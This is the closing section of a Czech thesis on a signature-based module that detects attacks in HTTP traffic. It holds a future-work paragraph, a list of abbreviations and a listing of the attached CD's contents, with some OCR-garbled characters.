modulu pro detekci toka vyuzivajicich aplika¢ni protokol HTTP jsem tedy
splnil.

V budoucnu je na tuto praci mozné navazat rozsifenim databéze signatur
o signatury nové objevenych zranitelnosti webovych aplikaci, pripadné rozsi-
fenim modulu o dalsi metodu detekce zkombinovanou se souc¢asnou metodou
detekce s cilem detekovat i neznamé tutoky, pro které dosud neexistuje zadna
signatura.
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PRILOHA A

Seznam pouzitych zkratek

OWASP Open Web Application Security Project
ZAP Zed Attack Proxy

NIST National Institute of Standards and Technology
PTES Penetration Testing Execution Standard
ISSAF Information Systems Security Assessment Framework
OISSG Open Information Systems Security Group
CESNET Czech Education and Scientific Network
NEMEA Network Measurements Analysis

IDEA Intrusion Detection Extensible Alert

TRAP Traffic Analysis Platform

HTTP HyperText Transfer Protocol

MIME Multipurpose Internet Mail Extensions

TCP Transmission Control Protocol

IP Internet Protocol

ISO International Organization for Standardization
OSI Open Systems Interconnection

RFC Request for Comments

IETF Internet Engineering Task Force

CERT Computer Emergency Response Team

29



A. SEZNAM POUZITYCH ZKRATEK

CSIRT Computer Security Incident Response Team
TRAP Traffic Analysis Platform

UniRec Unified Record

LDAP Lightweight Directory Access Protocol
XPath XML Path Language

XML eXtensible Markup Language

SSI Server-Side Includes

SQL Structured Query Language

LFI Local File Inclusion

RFI Remote File Inclusion

IDS Intrusion Detection System

IPS Intrusion Prevention System

ADS Anomaly Detection System

WAF Web Application Firewall

CMS Content Management System

NVD National Vulnerability Database

IPFIX Internet Protocol Flow Information Export
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PRILOHA B

Obsah prilozeného CD

readme . BXt . oo ettt i e e struény popis obsahu CD

| waintrusion_detector............. adresar se zdrojovymi kédy modulu
config.yaml ......covviiiiiiiiiiiia., konfigura¢ni soubor modulu
waintrusion_detector.py.........ccoeeeennn.. zdrojovy kéd modulu
waintrusion_detector2idea.py .............. zdrojovy kéd modulu

o121 o J adresar s pcap soubory nastroji na pen. testy
data...oveiirii i e adresar se seznamy dat pro detekci

otV == P adresar s pravidly pro detekci
thesis ....vvviiiiinnnnnn.. zdrojova forma prace ve formatu KITEX

I = v text prace
tthesis AL text prace ve formatu PDF
thesis.pS..covviiiiiiiiiiiiii i, text prace ve formatu PS
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